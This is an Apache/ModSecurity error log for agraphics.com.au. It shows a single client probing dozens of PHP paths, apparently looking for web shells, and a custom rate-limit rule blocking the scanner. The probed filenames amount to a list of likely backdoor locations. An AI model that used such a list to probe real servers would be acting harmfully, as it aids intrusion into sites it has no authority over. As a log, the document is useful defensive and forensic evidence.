[Sat Apr 18 19:48:16.909694 2026] [:error] [pid 9864:tid 9909] [client 20.203.175.196:7113] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeNvgICFeowknfXHM7kPBAAAAEQ"]
[Sat Apr 18 19:48:18.225763 2026] [:error] [pid 34290:tid 34321] [client 20.203.175.196:7110] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeNvghqX6WpmmAXOBi8R6QAAAcI"]
[Sat Apr 18 19:48:20.584166 2026] [:error] [pid 34290:tid 34334] [client 20.203.175.196:7135] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeNvhBqX6WpmmAXOBi8R8AAAAc8"]
[Sat Apr 18 19:48:22.123807 2026] [:error] [pid 34237:tid 34253] [client 20.203.175.196:7126] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeNvhhBmX4Wq5a6rxfaZewAAAU4"]
[Sat Apr 18 19:48:22.745158 2026] [:error] [pid 34288:tid 34309] [client 20.203.175.196:7163] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeNvhuTIiy__PtiLmpnPzQAAAZE"]
[Sat Apr 18 19:48:23.671551 2026] [:error] [pid 34288:tid 34307] [client 20.203.175.196:7162] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeNvh-TIiy__PtiLmpnPzgAAAY8"]
[Sat Apr 18 19:48:24.578196 2026] [:error] [pid 9864:tid 9930] [client 20.203.175.196:7140] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeNviICFeowknfXHM7kPCwAAAFg"]
[Sat Apr 18 19:48:25.451190 2026] [:error] [pid 9864:tid 9919] [client 20.203.175.196:6808] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeNviYCFeowknfXHM7kPDgAAAE0"]
[Sat Apr 18 19:48:26.227110 2026] [:error] [pid 9864:tid 9929] [client 20.203.175.196:7133] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeNvioCFeowknfXHM7kPEwAAAFc"]
[Sat Apr 18 19:48:27.862004 2026] [:error] [pid 34288:tid 34308] [client 20.203.175.196:6809] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeNvi-TIiy__PtiLmpnP0QAAAZA"]
[Sat Apr 18 19:48:28.997509 2026] [:error] [pid 9970:tid 9987] [client 20.203.175.196:7146] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeNvjCYdRLRhVmaIMx2uYQAAAM0"]
[Sat Apr 18 19:48:30.906461 2026] [:error] [pid 34237:tid 34251] [client 20.203.175.196:6802] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeNvjhBmX4Wq5a6rxfaZjAAAAUw"]
[Sat Apr 18 19:48:32.196881 2026] [:error] [pid 9865:tid 9943] [client 20.203.175.196:7156] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeNvkKzb5knECIY-C-h9DgAAAIY"]
[Sat Apr 18 19:48:33.475326 2026] [:error] [pid 34290:tid 34331] [client 20.203.175.196:6833] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeNvkRqX6WpmmAXOBi8R_gAAAcw"]
[Sat Apr 18 19:48:34.409336 2026] [:error] [pid 9863:tid 9884] [client 20.203.175.196:7059] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeNvkjjjiypiFrTucbLJWgAAAAs"]
[Sat Apr 18 19:48:37.749863 2026] [:error] [pid 13023:tid 13048] [client 20.203.175.196:7152] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeNvlf1e7hG8DAeABB__vAAAARc"]
[Sat Apr 18 19:48:42.382792 2026] [:error] [pid 9865:tid 9948] [client 20.203.175.196:7166] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeNvmqzb5knECIY-C-h9FwAAAIs"]
[Sat Apr 18 19:48:43.799129 2026] [:error] [pid 9865:tid 9947] [client 20.203.175.196:7142] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeNvm6zb5knECIY-C-h9GAAAAIo"]
[Sat Apr 18 19:48:49.259050 2026] [:error] [pid 13023:tid 13044] [client 20.203.175.196:7107] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeNvof1e7hG8DAeABB__wwAAARM"]
[Sat Apr 18 19:48:50.721825 2026] [:error] [pid 13023:tid 13043] [client 20.203.175.196:6847] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeNvov1e7hG8DAeABB__yAAAARI"]
[Sat Apr 18 19:48:54.676447 2026] [:error] [pid 34237:tid 34244] [client 20.203.175.196:7045] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeNvphBmX4Wq5a6rxfaZsQAAAUU"]
[Sat Apr 18 19:48:56.011305 2026] [:error] [pid 9864:tid 9928] [client 20.203.175.196:7149] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeNvqICFeowknfXHM7kPOwAAAFY"]
[Sat Apr 18 19:48:57.851623 2026] [:error] [pid 34237:tid 34260] [client 20.203.175.196:6836] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeNvqRBmX4Wq5a6rxfaZuAAAAVU"]
[Sat Apr 18 19:48:58.578599 2026] [:error] [pid 9865:tid 9955] [client 20.203.175.196:7138] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeNvqqzb5knECIY-C-h9JQAAAJI"]
[Sat Apr 18 19:48:59.455417 2026] [:error] [pid 9864:tid 9910] [client 20.203.175.196:6821] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeNvq4CFeowknfXHM7kPPgAAAEU"]
[Sat Apr 18 19:49:01.929448 2026] [:error] [pid 34290:tid 34331] [client 20.203.175.196:7122] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeNvrRqX6WpmmAXOBi8SHQAAAcw"]
[Sat Apr 18 19:49:02.818832 2026] [:error] [pid 34237:tid 34253] [client 20.203.175.196:6801] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeNvrhBmX4Wq5a6rxfaZwgAAAU4"]
[Sat Apr 18 19:49:04.022546 2026] [:error] [pid 34237:tid 34254] [client 20.203.175.196:6786] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeNvsBBmX4Wq5a6rxfaZxwAAAU8"]
[Sat Apr 18 19:49:05.207502 2026] [:error] [pid 13023:tid 13046] [client 20.203.175.196:6816] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeNvsf1e7hG8DAeABB__ywAAARU"]
[Sat Apr 18 19:49:06.313386 2026] [:error] [pid 13023:tid 13048] [client 20.203.175.196:6831] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeNvsv1e7hG8DAeABB__zAAAARc"]
[Sat Apr 18 19:49:07.593475 2026] [:error] [pid 34290:tid 34338] [client 20.203.175.196:7040] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeNvsxqX6WpmmAXOBi8SIwAAAdM"]
[Sat Apr 18 19:49:08.617972 2026] [:error] [pid 13023:tid 13032] [client 20.203.175.196:6830] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeNvtP1e7hG8DAeABB__0AAAAQc"]
[Sat Apr 18 19:49:09.605019 2026] [:error] [pid 34288:tid 34314] [client 20.203.175.196:7128] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeNvteTIiy__PtiLmpnP4gAAAZY"]
[Sat Apr 18 19:49:10.824006 2026] [:error] [pid 9865:tid 9937] [client 20.203.175.196:6829] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeNvtqzb5knECIY-C-h9KQAAAIA"]
[Sat Apr 18 19:49:12.889555 2026] [:error] [pid 34237:tid 34254] [client 20.203.175.196:7151] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeNvuBBmX4Wq5a6rxfaZ2gAAAU8"]
[Sat Apr 18 19:49:18.205990 2026] [proxy_fcgi:error] [pid 34290:tid 34336] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:18.454286 2026] [proxy_fcgi:error] [pid 34290:tid 34326] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:18.730739 2026] [proxy_fcgi:error] [pid 34290:tid 34338] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:19.212808 2026] [proxy_fcgi:error] [pid 34290:tid 34332] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:19.463805 2026] [proxy_fcgi:error] [pid 34290:tid 34327] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:19.704315 2026] [proxy_fcgi:error] [pid 34290:tid 34323] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:19.944418 2026] [proxy_fcgi:error] [pid 34290:tid 34321] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:20.189517 2026] [proxy_fcgi:error] [pid 34290:tid 34329] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:20.429138 2026] [proxy_fcgi:error] [pid 34290:tid 34342] [client 20.203.175.196:6796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:49:20.665406 2026] [:error] [pid 34290:tid 34334] [client 20.203.175.196:6796] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aeNvwBqX6WpmmAXOBi8SNgAAAc8"]
[Sat Apr 18 19:49:21.781392 2026] [:error] [pid 13023:tid 13027] [client 20.203.175.196:6787] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aeNvwf1e7hG8DAeABB__1wAAAQI"]
[Sat Apr 18 19:49:23.066901 2026] [:error] [pid 34237:tid 34256] [client 20.203.175.196:7148] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aeNvwxBmX4Wq5a6rxfaZ-gAAAVE"]
[Sat Apr 18 19:49:24.852922 2026] [:error] [pid 34237:tid 34252] [client 20.203.175.196:6812] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aeNvxBBmX4Wq5a6rxfaZ_wAAAU0"]
[Sat Apr 18 19:49:26.512315 2026] [:error] [pid 13023:tid 13041] [client 20.203.175.196:6828] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeNvxv1e7hG8DAeABB__2QAAARA"]
[Sat Apr 18 19:49:28.389028 2026] [:error] [pid 34290:tid 34330] [client 20.203.175.196:7062] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeNvyBqX6WpmmAXOBi8SOgAAAcs"]
[Sat Apr 18 19:49:30.916477 2026] [:error] [pid 34237:tid 34243] [client 20.203.175.196:6803] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeNvyhBmX4Wq5a6rxfaaDQAAAUQ"]
[Sat Apr 18 19:49:34.394422 2026] [:error] [pid 9864:tid 9919] [client 20.203.175.196:6814] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeNvzoCFeowknfXHM7kPYwAAAE0"]
[Sat Apr 18 19:49:35.667563 2026] [:error] [pid 34237:tid 34245] [client 20.203.175.196:7145] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeNvzxBmX4Wq5a6rxfaaGAAAAUY"]
[Sat Apr 18 19:49:36.900462 2026] [:error] [pid 34290:tid 34339] [client 20.203.175.196:7125] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeNv0BqX6WpmmAXOBi8SPQAAAdQ"]
[Sat Apr 18 19:49:39.103433 2026] [:error] [pid 9863:tid 9885] [client 20.203.175.196:6819] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeNv0zjjiypiFrTucbLJgAAAAAw"]
[Sat Apr 18 19:49:41.722604 2026] [:error] [pid 34237:tid 34260] [client 20.203.175.196:6981] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeNv1RBmX4Wq5a6rxfaaJwAAAVU"]
[Sat Apr 18 19:49:42.528628 2026] [:error] [pid 9864:tid 9922] [client 20.203.175.196:7105] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeNv1oCFeowknfXHM7kPZgAAAFA"]
[Sat Apr 18 19:49:44.677250 2026] [:error] [pid 34237:tid 34242] [client 20.203.175.196:7130] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeNv2BBmX4Wq5a6rxfaaLQAAAUM"]
[Sat Apr 18 19:49:46.321193 2026] [:error] [pid 9863:tid 9892] [client 20.203.175.196:7124] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeNv2jjjiypiFrTucbLJgwAAABM"]
[Sat Apr 18 19:49:47.654309 2026] [:error] [pid 34290:tid 34330] [client 20.203.175.196:7150] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeNv2xqX6WpmmAXOBi8SRwAAAcs"]
[Sat Apr 18 19:49:49.802883 2026] [:error] [pid 13023:tid 13047] [client 20.203.175.196:7075] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeNv3f1e7hG8DAeABB__6wAAARY"]
[Sat Apr 18 19:49:50.766324 2026] [:error] [pid 9970:tid 9996] [client 20.203.175.196:7080] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeNv3iYdRLRhVmaIMx2uiwAAANY"]
[Sat Apr 18 19:49:51.909973 2026] [:error] [pid 9863:tid 9873] [client 20.203.175.196:7111] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeNv3zjjiypiFrTucbLJiAAAAAA"]
